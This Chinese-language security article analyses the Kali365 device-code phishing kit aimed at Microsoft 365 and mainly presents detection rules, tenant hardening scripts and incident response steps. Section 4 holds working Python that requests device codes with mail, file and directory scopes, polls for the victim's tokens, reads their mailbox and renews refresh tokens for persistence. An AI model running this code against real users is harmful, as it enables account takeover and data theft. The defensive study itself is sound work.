
摘要
2026 年 4 月曝光的 Kali365 钓鱼工具以订阅化服务形式面向黑产提供开箱即用的 Microsoft 365 账户劫持能力,其核心技术路径是滥用 OAuth 2.0 设备授权流程(Device Code Flow),诱导用户在官方验证页面完成授权,从而在不窃取密码、不触发二次验证拦截的情况下获取合法访问令牌与刷新令牌,实现对邮件、文档、通讯录等核心资源的持久化控制。该攻击绕过传统 MFA 防护、无伪造站点特征、依赖合法协议通道,对企业身份安全构成系统性威胁。本文以 Bitdefender 与 FBI 公开报告为基础,完整还原 Kali365 攻击生命周期,解析设备码流原生机制与被滥用的安全缺陷,给出可复现的攻击模拟、检测规则与防御配置代码,构建覆盖协议管控、权限治理、威胁检测、应急响应的闭环防御体系。研究表明,设备码钓鱼的本质是授权流程劫持与信任滥用,传统边界防护与密码策略失效,必须以零信任架构为核心,强化授权可见性、令牌全生命周期管控与上下文风险校验,才能有效遏制此类攻击扩散。反网络钓鱼技术专家芦笛指出,当前云身份钓鱼已从密码窃取转向令牌劫持,防御重心应从防欺骗转向管授权、管令牌、管流程。

1 引言
随着企业全面迁移至 Microsoft 365、Google Workspace 等云办公平台,身份认证从本地账号体系转向 OAuth 2.0、OpenID Connect 等开放授权框架,多因素认证(MFA)被普遍视为抵御口令泄露、暴力破解的最后防线。然而,2026 年二季度出现的 Kali365 钓鱼工具打破了这一安全共识:该工具无需获取用户密码,即可绕过 MFA 完成账户接管,且全程使用官方域名、合法证书与标准协议交互,传统邮件网关、站点黑名单、钓鱼页面检测机制均无法有效识别。FBI 与 Bitdefender 在联合预警中指出,Kali365 以月付 250 美元、年付 2000 美元的模式在 Telegram 等渠道分销,内置 AI 诱饵生成、自动化投放、实时捕获面板等功能,即使无技术背景的黑产人员也可快速发起规模化攻击,北美与欧洲已有数百家中大型企业遭受入侵,大量邮件数据与商业文档被窃取。
现有研究多聚焦于传统钓鱼页面伪造、链接恶意特征、邮件内容识别等方向,对基于合法协议滥用的令牌钓鱼关注不足,尤其缺乏对设备码流攻击链路、产业化工具实现、可落地防御代码的系统性论述。本文以 Kali365 为典型案例,遵循 “攻击机理 — 技术实现 — 威胁特征 — 防御闭环” 的研究路径,严格依据 OAuth 2.0 RFC 8628 标准与 Microsoft 身份平台实现细节,确保技术表述准确、逻辑链条完整、结论可验证。文章不使用夸张修辞与口号式表述,聚焦技术本质与工程实践,为企业安全架构、身份管理、运营响应提供可直接部署的方案与代码参考。
2 OAuth 2.0 设备码流原生机制与安全假设
2.1 设备码流设计目标与适用场景
OAuth 2.0 设备授权流程(Device Authorization Grant,RFC 8628)是为无浏览器、输入受限设备设计的轻量化授权模式,广泛应用于智能电视、IoT 设备、控制台应用、Teams 硬件终端等场景,核心目标是在不要求设备输入复杂密码的前提下完成用户授权。其典型交互场景为:用户在智能电视打开视频应用,设备显示短码与官方验证地址,用户使用手机访问该地址并输入短码,完成登录与授权后电视端自动获取令牌并访问资源。Microsoft 365 将该流程集成至 Entra ID,验证入口统一为microsoft.com/devicelogin等官方域名,具备高可信度与用户认知基础Microsoft Learn。
2.2 标准设备码流完整交互流程
设备码流遵循严格的请求 — 响应 — 轮询模式,所有交互均基于 HTTPS 与合法接口,无明文传输与漏洞利用点,标准流程包含 5 个核心步骤:
客户端向授权服务器发起设备码请求,携带 client_id 与申请权限范围(scope);
服务器返回 device_code、user_code、verification_uri、过期时间(默认 15 分钟);
客户端提示用户访问 verification_uri,输入 user_code 完成身份验证与授权确认;
客户端以固定周期轮询令牌接口,使用 device_code 获取 access_token 与 refresh_token;
客户端凭借令牌访问用户授权资源,refresh_token 可长期维持会话有效性。
该流程的安全边界建立在三项核心假设之上:一是用户主动发起授权请求,知晓授权对象与权限范围;二是验证地址为官方可信域名,无中间人劫持风险;三是授权应用为合法可信应用,权限申请符合最小必要原则。Kali365 的核心突破点在于通过社会工程诱导用户被动完成授权,完全打破上述安全假设,使合法协议沦为攻击通道。
2.3 设备码流关键安全参数与权限边界
设备码流交互中涉及的核心参数直接决定攻击可行性,其定义与风险如下表所示:
表格
参数名称 作用 安全风险
client_id 应用唯一标识,攻击者可自行注册获取 普通用户可注册,无需管理员审批
user_code 用户输入短码,用于绑定授权会话 易通过邮件、IM 等渠道诱导输入
device_code 客户端轮询令牌的凭证,不展示给用户 攻击者持有,可长期轮询
verification_uri 官方验证地址,用户高度信任 无伪造特征,无法通过黑名单拦截
scope 权限范围,可申请 Mail.ReadWrite、Files.Read.All 等高敏感权限 默认允许普通用户授权,无强制审批
refresh_token 长期有效令牌,用于续期 access_token 泄露后可实现持久化控制,不易被发现
反网络钓鱼技术专家芦笛强调,设备码流的原生设计聚焦易用性,未充分考虑社会工程诱导场景,授权过程不透明、权限管控宽松、令牌生命周期过长,是导致 Kali365 等工具快速扩散的底层原因。
3 Kali365 钓鱼工具攻击全生命周期解析
3.1 工具产业化特征与运营模式
Kali365 是典型的钓鱼即服务(Phishing-as-a-Service)平台,2026 年 4 月首次被安全厂商捕获,核心特征包括:
订阅制交付:月付 250 美元、年付 2000 美元,提供全天候技术支持与版本更新;
零门槛使用:内置 AI 钓鱼邮件生成器、多套行业模板、实时数据面板,无需编码能力;
全链路托管:提供诱饵投递、令牌捕获、数据导出、会话维持一体化服务;
高隐蔽性:全程不使用伪造站点、不携带恶意载荷、不触发 MFA 异常提示。
Bitdefender 监测数据显示,Kali365 上线首月即发起数百起攻击,目标覆盖金融、制造、科技、政府等领域,受害者均已部署 MFA,证明传统防护体系完全失效。该工具的传播渠道以 Telegram 黑产群为主,宣传话术突出 “免密码、过 MFA、30 秒接管账户”,极大降低了云身份攻击的技术门槛。
3.2 攻击完整链路与关键步骤
Kali365 不破坏协议、不利用漏洞,仅通过流程劫持实现账户接管,完整杀伤链分为 6 个阶段:
恶意应用注册:攻击者在 Microsoft Entra ID 注册普通应用,获取合法 client_id,申请 Mail.ReadWrite、Files.Read.All、Directory.Read.All 等高敏感权限,无需管理员审批即可通过;
设备码批量申请:攻击服务器调用 /devicecode 接口,批量生成 device_code、user_code 与验证地址,每个码有效期 15 分钟,支持动态刷新;
诱饵精准投放:通过邮件、Teams 消息、企业微信等渠道发送伪造通知,伪装成文档审批、设备验证、安全提醒等场景,诱导用户访问官方验证页并输入 user_code;
官方授权执行:用户在microsoft.com/devicelogin完成登录、MFA 校验与授权确认,全程无异常感知,认为是正常业务操作;
令牌劫持获取:攻击者轮询令牌接口,获取 access_token 与 refresh_token,获得与用户同等权限的合法会话;
持久化控制与数据窃取:使用 refresh_token 长期维持访问,批量读取邮件、下载文档、窃取通讯录,甚至横向扩散至其他云应用,实现完整数据泄露与权限滥用。
该攻击的核心优势在于:无伪造站点、无恶意链接、无密码窃取、无 MFA 绕过行为,所有交互均符合微软规范,安全设备无法基于传统特征识别。反网络钓鱼技术专家芦笛指出,Kali365 代表了云钓鱼的进化方向:从欺骗用户输入密码,转向欺骗用户完成授权,攻击成本更低、隐蔽性更强、成功率更高。
3.3 绕过 MFA 的核心机理
传统 MFA 的防护逻辑是阻止攻击者以用户身份登录,要求登录时提供额外验证因子。但 Kali365 的攻击逻辑是用户主动为攻击者授权,攻击者从未执行登录操作,因此 MFA 机制不会触发拦截:
授权行为由用户本人完成,已通过密码 + MFA 双重验证;
攻击者仅接收授权后的合法令牌,不参与认证流程;
微软认证服务器认为授权合法,无异常风险标记。
这一机理彻底颠覆了 MFA 的防护边界,证明仅依赖密码 + MFA 无法抵御协议滥用型钓鱼攻击。FBI 在预警中明确强调,MFA 可以防止攻击者登录,但无法防止用户向攻击者授予访问权限,这是企业安全团队必须正视的认知盲区。
4 攻击技术实现与可复现代码
4.1 攻击模拟环境与依赖说明
本文提供的代码仅用于安全研究与防御测试,严禁用于未授权攻击。攻击模拟基于 Microsoft 身份平台标准接口,遵循 OAuth 2.0 RFC 8628 规范,依赖 Python requests 库实现,核心功能包括设备码申请、用户授权引导、令牌轮询、资源访问。
4.2 设备码请求与令牌获取核心代码
import requests
import time
class Kali365Simulator:
def __init__(self, client_id, tenant_id="common"):
# 初始化参数:恶意应用client_id、租户ID(默认common)
self.client_id = client_id
self.tenant_id = tenant_id
self.devicecode_url = f"https://login.microsoftonline.com/{tenant_id}/oauth2/v2.0/devicecode"
self.token_url = f"https://login.microsoftonline.com/{tenant_id}/oauth2/v2.0/token"
# 申请高敏感权限,覆盖邮件、文件、目录读取
self.scope = "Mail.ReadWrite Files.Read.All Directory.Read.All offline_access"
def request_device_code(self):
"""请求设备码,返回授权信息"""
payload = {
"client_id": self.client_id,
"scope": self.scope
}
response = requests.post(self.devicecode_url, data=payload)
if response.status_code == 200:
return response.json()
else:
raise Exception(f"设备码请求失败:{response.text}")
def poll_token(self, device_code, interval=5):
"""轮询获取令牌,直到授权成功或过期"""
payload = {
"client_id": self.client_id,
"grant_type": "urn:ietf:params:oauth:grant-type:device_code",
"device_code": device_code
}
while True:
response = requests.post(self.token_url, data=payload)
result = response.json()
if "access_token" in result:
return result
if result.get("error") != "authorization_pending":
raise Exception(f"令牌获取失败:{result}")
time.sleep(interval)
def access_mail(self, access_token):
"""使用令牌访问用户邮件"""
headers = {"Authorization": f"Bearer {access_token}"}
url = "https://graph.microsoft.com/v1.0/me/messages"
response = requests.get(url, headers=headers)
return response.json()
if __name__ == "__main__":
# 替换为自行注册的恶意应用client_id
CLIENT_ID = "your-malicious-app-client-id"
phisher = Kali365Simulator(CLIENT_ID)
# 步骤1:获取设备码
device_info = phisher.request_device_code()
print(f"[+] 请访问官方地址:{device_info['verification_uri']}")
print(f"[+] 输入用户码:{device_info['user_code']}")
print(f"[+] 有效期:{device_info['expires_in']}秒")
# 步骤2:轮询等待用户授权,获取令牌
token_info = phisher.poll_token(device_info["device_code"])
print(f"[+] 成功获取Access Token:{token_info['access_token'][:20]}...")
print(f"[+] 成功获取Refresh Token:{token_info['refresh_token'][:20]}...")
# 步骤3:访问邮件数据
mail_data = phisher.access_mail(token_info["access_token"])
print(f"[+] 成功读取邮件,总数:{len(mail_data.get('value', []))}")
4.3 代码关键逻辑与攻击要点
权限申请:scope 包含 Mail.ReadWrite、Files.Read.All 等高敏感权限,offline_access 用于获取 refresh_token;
设备码获取:调用官方 /devicecode 接口,返回合法用户码与验证地址,无恶意特征;
轮询机制:每 5 秒轮询一次令牌接口,直到用户完成授权或码过期;
资源访问:通过 Microsoft Graph API 读取邮件、文件、目录信息,权限与用户完全一致。
该代码完整复现 Kali365 核心逻辑,证明此类攻击无需复杂技术,仅需调用标准接口即可实现,进一步印证了协议滥用的低门槛与高危害性。反网络钓鱼技术专家芦笛强调,此类代码的公开扩散意味着黑产可快速复制攻击能力,企业必须从协议层面阻断风险,而非依赖用户识别与特征检测。
4.4 令牌持久化与会话维持代码
攻击者获取 refresh_token 后可长期控制账户,以下代码实现令牌续期功能:
def refresh_access_token(client_id, refresh_token, tenant_id="common"):
token_url = f"https://login.microsoftonline.com/{tenant_id}/oauth2/v2.0/token"
payload = {
"client_id": client_id,
"grant_type": "refresh_token",
"refresh_token": refresh_token
}
response = requests.post(token_url, data=payload)
return response.json()
# 续期示例
new_token = refresh_access_token(CLIENT_ID, token_info["refresh_token"])
print(f"[+] 续期成功,新Access Token:{new_token['access_token'][:20]}...")
refresh_token 有效期通常长达 90 天,攻击者可定期续期,实现隐蔽持久化控制,传统登录审计难以发现异常。
5 威胁特征与检测体系构建
5.1 多维度威胁特征提取
Kali365 攻击虽无恶意载荷,但存在可检测的行为特征,覆盖网络、身份、应用、数据四层:
网络层特征:短时间内大量请求 /devicecode 与 /token 接口,来源为匿名代理、黑产 IP 段;同一 IP 批量请求多用户设备码,异于正常使用模式;
身份层特征:非托管设备、异常地理位置发起设备码授权;未验证发布者应用申请高敏感权限;10 分钟内单用户多次设备码授权;
应用层特征:授权后立即高频调用 Graph API 读取邮件、文件;应用无企业内业务场景,权限与用途不匹配;
数据层特征:批量下载附件、导出通讯录、跨用户数据访问,明显异于正常办公行为。
5.2 基于 Entra ID 日志的检测规则代码
import json
def detect_device_code_anomaly(sign_events, app_whitelist, ip_blacklist):
"""
检测设备码钓鱼异常行为
:param sign_events: Entra ID登录日志列表
:param app_whitelist: 可信应用client_id白名单
:param ip_blacklist: 恶意IP黑名单
:return: 告警列表
"""
alerts = []
for event in sign_events:
# 过滤设备码流事件
if event.get("grantType") != "device_code":
continue
user = event.get("userPrincipalName")
app_id = event.get("clientId")
ip = event.get("ipAddress")
risk_level = event.get("riskLevel", "none")
# 规则1:非白名单应用发起授权
if app_id not in app_whitelist:
alerts.append({
"user": user,
"type": "untrusted_app_devicecode",
"msg": f"非可信应用{app_id}发起设备码授权",
"ip": ip,
"risk": "high"
})
# 规则2:恶意IP发起授权
if ip in ip_blacklist:
alerts.append({
"user": user,
"type": "malicious_ip_devicecode",
"msg": f"恶意IP{ip}发起设备码授权",
"risk": "high"
})
# 规则3:高风险登录+设备码组合
if risk_level == "high":
alerts.append({
"user": user,
"type": "high_risk_devicecode",
"msg": "高风险登录事件伴随设备码授权",
"ip": ip,
"risk": "critical"
})
return alerts
# 示例调用
if __name__ == "__main__":
# 模拟登录日志
test_events = [{
"grantType": "device_code",
"userPrincipalName": "user@company.com",
"clientId": "malicious-app-id",
"ipAddress": "1.2.3.4",
"riskLevel": "high"
}]
trusted_apps = ["trusted-app-id-1", "trusted-app-id-2"]
malicious_ips = ["1.2.3.4", "5.6.7.8"]
alerts = detect_device_code_anomaly(test_events, trusted_apps, malicious_ips)
print(json.dumps(alerts, indent=2, ensure_ascii=False))
5.3 SIEM 关联规则与狩猎指标
企业可将上述规则集成至 SIEM 平台,配置以下高频告警指标:
10 分钟内同一 IP 发起 > 5 次设备码请求;
单用户单日设备码授权次数 > 3 次;
非工作时间、异常国家 / 地区发起授权;
授权后 5 分钟内调用高敏感 Graph API;
未验证应用申请 Mail、Files、Directory 权限组合。
反网络钓鱼技术专家芦笛强调,设备码钓鱼检测必须从特征匹配转向行为分析,聚焦授权上下文、应用可信度、权限合理性,而非依赖恶意链接或伪造页面特征。
6 闭环防御体系与工程化配置
6.1 防御总体框架
针对 Kali365 等设备码钓鱼攻击,构建四层闭环防御体系:
协议管控层:禁用非必要设备码流,从根源阻断攻击路径;
权限治理层:限制应用注册、权限范围、授权审批,最小化攻击面;
威胁检测层:实时监控异常授权行为,快速发现攻击;
应急响应层:一键撤销令牌、清理恶意应用、阻断攻击会话,形成闭环。
6.2 协议管控:禁用设备码流(根因阻断)
Microsoft 官方建议,无 IoT、无硬件终端需求的企业直接禁用设备码流,这是最有效、最彻底的防御手段。以下是 PowerShell 与 Graph API 配置代码:
PowerShell 脚本(推荐)
powershell
# 安装Microsoft Graph模块
Install-Module Microsoft.Graph.Identity.SignIns -Force
# 连接Graph,授权策略写入权限
Connect-MgGraph -Scopes "Policy.ReadWrite.Authorization"
# 禁用租户级设备码流
Update-MgPolicyAuthorizationPolicy -DefaultUserRolePermissions @{
AllowedToUseDeviceCodeFlow = $false
}
# 验证配置结果
Get-MgPolicyAuthorizationPolicy | Select-Object -ExpandProperty DefaultUserRolePermissions
Microsoft Graph API 配置
http
PATCH https://graph.microsoft.com/v1.0/policies/authorizationPolicy
Authorization: Bearer {access_token}
Content-Type: application/json
{
"defaultUserRolePermissions": {
"allowedToCreateApps": false,
"allowedToCreateServicePrincipals": false,
"allowedToUseDeviceCodeFlow": false
}
}
6.3 条件访问策略:精细化管控(保留必要场景)
若企业需使用设备码流(如 Teams 硬件终端),应配置条件访问策略,仅允许可信场景使用:
登录 Microsoft Entra 管理中心;
进入条件访问→新建策略;
分配:应用至所有用户,排除紧急访问账户;
目标资源:所有云应用,排除设备注册服务;
条件→身份验证流:选择设备代码流;
授权:阻止访问,开启仅报告模式验证后启用Microsoft Learn。
反网络钓鱼技术专家芦笛强调,最小权限与最小功能是抵御协议滥用的核心原则,企业应定期审计授权流程,关闭所有非必要认证流,从源头压缩攻击面。
6.4 权限治理与令牌管控
限制用户自主注册应用:禁止普通用户创建应用与服务主体,防止恶意 client_id 注册;
高权限审批:开启 Mail.ReadWrite、Files.Read.All 等权限的管理员强制审批;
令牌生命周期管控:缩短 refresh_token 有效期,强制定期重授权;
应用白名单:仅允许企业内可信应用使用设备码流,阻断第三方恶意应用。
6.5 终端与用户侧加固
启用防钓鱼 MFA:使用 FIDO2 安全密钥、Windows Hello 等物理式认证,禁止短信 / 邮件验证码;
业务流程规范:明确官方验证场景,禁止通过外部链接输入设备码;
安全培训:告知用户设备码授权等同于账户授权,警惕非主动发起的验证请求;
邮件网关规则:拦截含microsoft.com/devicelogin与二维码组合的不明邮件。
7 应急响应与取证处置
7.1 攻击发现后的处置流程
紧急阻断:禁用设备码流或修改条件访问策略,阻止新授权;
令牌撤销:通过 Entra ID 或 PowerShell 撤销用户所有 OAuth 令牌,终止攻击者会话;
应用清理:删除恶意应用与服务主体,清理非法授权;
日志审计:分析设备码授权记录、IP 地址、权限申请、数据访问行为;
用户通知:重置密码、重新配置 MFA、核查账户异常操作;
根因修复:加固授权策略、完善检测规则、更新安全培训内容。
7.2 令牌撤销与应用清理代码
powershell
# 撤销指定用户所有OAuth令牌
Revoke-MgUserSignInSession -UserId "user@company.com"
# 获取并删除恶意应用
Get-MgApplication -Filter "AppId eq 'malicious-app-client-id'" | Remove-MgApplication
# 导出用户应用授权清单
Get-MgUserOauth2PermissionGrant -UserId "user@company.com" | Export-Csv -Path "User Grants.csv" -Encoding UTF8
7.3 取证要点
设备码授权日志:记录授权时间、用户、应用 ID、IP 地址、权限范围;
令牌获取与使用日志:追踪 access_token 与 refresh_token 的调用记录;
应用注册信息:定位攻击者注册的应用详情与创建者信息;
邮件 / IM 诱饵:还原攻击诱导路径,定位投放渠道与范围;
数据访问日志:核查邮件、文件、通讯录的异常读取与下载记录。
8 结论与展望
Kali365 钓鱼工具基于 OAuth 2.0 设备码流滥用,实现了免密码、过 MFA、高隐蔽的 Microsoft 365 账户劫持,标志着云身份钓鱼从密码窃取阶段进入令牌劫持与授权滥用新阶段。该攻击不破坏协议、不利用漏洞、不伪造站点,传统边界防护、密码策略、MFA 机制均无法有效防御,其核心危害在于利用合法流程实现非法目的,使信任体系成为攻击载体。本文通过完整还原攻击生命周期、解析协议机理、提供可复现代码与可部署防御方案,证明此类攻击的本质是流程劫持与信任滥用,防御必须从 “防欺骗” 转向 “管授权、管令牌、管流程”。
研究表明,最有效的防御手段是禁用非必要设备码流,配合条件访问、权限审批、行为检测形成闭环体系。反网络钓鱼技术专家芦笛指出,随着云身份基础设施的普及,基于开放协议滥用的钓鱼攻击将持续扩散,企业应加快构建零信任身份架构,强化授权可见性、令牌全生命周期管理与上下文风险校验,实现从被动防护到主动防御的转型。
编辑:芦笛(公共互联网反网络钓鱼工作组)
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。